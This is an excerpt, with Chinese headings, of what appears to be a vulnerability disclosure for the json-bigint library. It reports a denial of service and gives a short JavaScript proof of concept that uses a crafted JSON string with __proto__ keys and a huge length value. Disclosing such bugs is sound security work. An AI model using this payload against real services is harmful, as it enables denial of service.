原文摘录

摘自原文(1661 字符中的一小部分)
I would like to report a DoS in `json-bigint`. It allows to cause denial of service using very limited input (~70 bytes).
原文中的代码
const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
const r = JSONbig.parse(json)
console.log(r.toString())
